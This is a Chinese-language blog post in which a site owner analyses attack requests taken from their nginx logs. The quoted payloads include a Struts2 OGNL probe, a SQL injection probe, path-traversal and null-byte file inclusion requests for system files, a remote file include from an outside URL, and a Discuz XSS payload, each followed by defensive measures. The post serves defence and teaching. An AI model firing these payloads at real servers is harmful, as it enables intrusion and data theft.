服务器安全分析:常见攻击类型与防范措施
最近查看百度云加速的报表统计,发现攻击拦截数再次达到100+。随着攻击成本不断降低,这类攻击越来越频繁。今天决定分析一下nginx日志,看看这些攻击都是什么类型的。
一、任意代码执行
1. Nginx日志
/?class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)&z[(class.classLoader.jarPath)('meh')]=true
2. URL Decode后的请求
/?class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)&z[(class.classLoader.jarPath)('meh')]=true
3. 攻击分析
从请求可以看出,这是一次针对JSP的Struts2框架漏洞扫描。这类扫描在日志中非常常见。
详细分析参考:Struts2框架漏洞分析
4. 防范分析
- 请求长度限制:正常访问很少有255+字符长度的请求,可限制这类"臃肿"请求。
- 特殊字符过滤:针对项目中不常用但代码中频繁出现的字符(如
' "),禁止包含这些字符的请求。
- 代码审计工具:可使用"Seay源代码审计系统"进行PHP代码审计,但需注意其正则匹配不够智能,需要人工判断。
二、SQL注入攻击
1. Nginx日志
/?message=angelina " or 8281=(select 8281 from information_schema.TABLES limit 1) or "8281"="8282
2. URL Decode后的请求
/?message=angelina " or 8281=(select 8281 from information_schema.TABLES limit 1) or "8281"="8282
3. 攻击分析
SQL注入的常用手法是直接将"外界输入"作为查询参数,通过截断原有SQL构造特殊查询语句,如查询后台管理员密码等。
4. 防范分析
- 输入验证:不要相信任何"外界输入"(GET、POST、Cookie、HTTP_REFERER等),必须进行安全过滤。
- 预处理查询:使用查询条件预处理防止SQL注入。
- 数据库分权:程序连接数据库使用非根账号,每个账号仅管理一个数据库并授予最低权限。
三、文件包含
1. Nginx日志
/Article/show/id/30.html?pid=../../../../../../../../../../etc/rc.d/rc.local%00
/photo/index.html?p=c:/windows/win.ini%00
/?message=http://cirt.net/rfiinc.txt%00.php
2. 攻击分析
- 以上请求分别针对Linux和Windows的文件包含漏洞,黑客常试图包含系统敏感文件。
- 第三条请求使用了
%00转义攻击,使txt文件被当作PHP解析。
3. 防范分析
- 路径请求过滤:限制使用
../../这类相对路径的请求。
- 权限管理:Linux服务器不应使用root用户运行程序,使用特定用户并授予最低权限。
- Windows安全策略:对Windows服务器进行目录权限限制。
- 目录隔离:将程序入口文件转移到公共可访问目录,并限制程序进程逃逸出该目录。
四、XSS攻击
1. Nginx日志
/connect.php?receive=yes&mod=login&op=callback&referer=xyz%bf\x5Cu0027.replace(/.%2b/,/javascript:alert(511265478)/.source);
2. 攻击分析
这是一个针对Discuz登录回调的XSS攻击,通过隐藏的JavaScript代码实现攻击。这类攻击是前端安全问题的典型代表,手段更加隐蔽。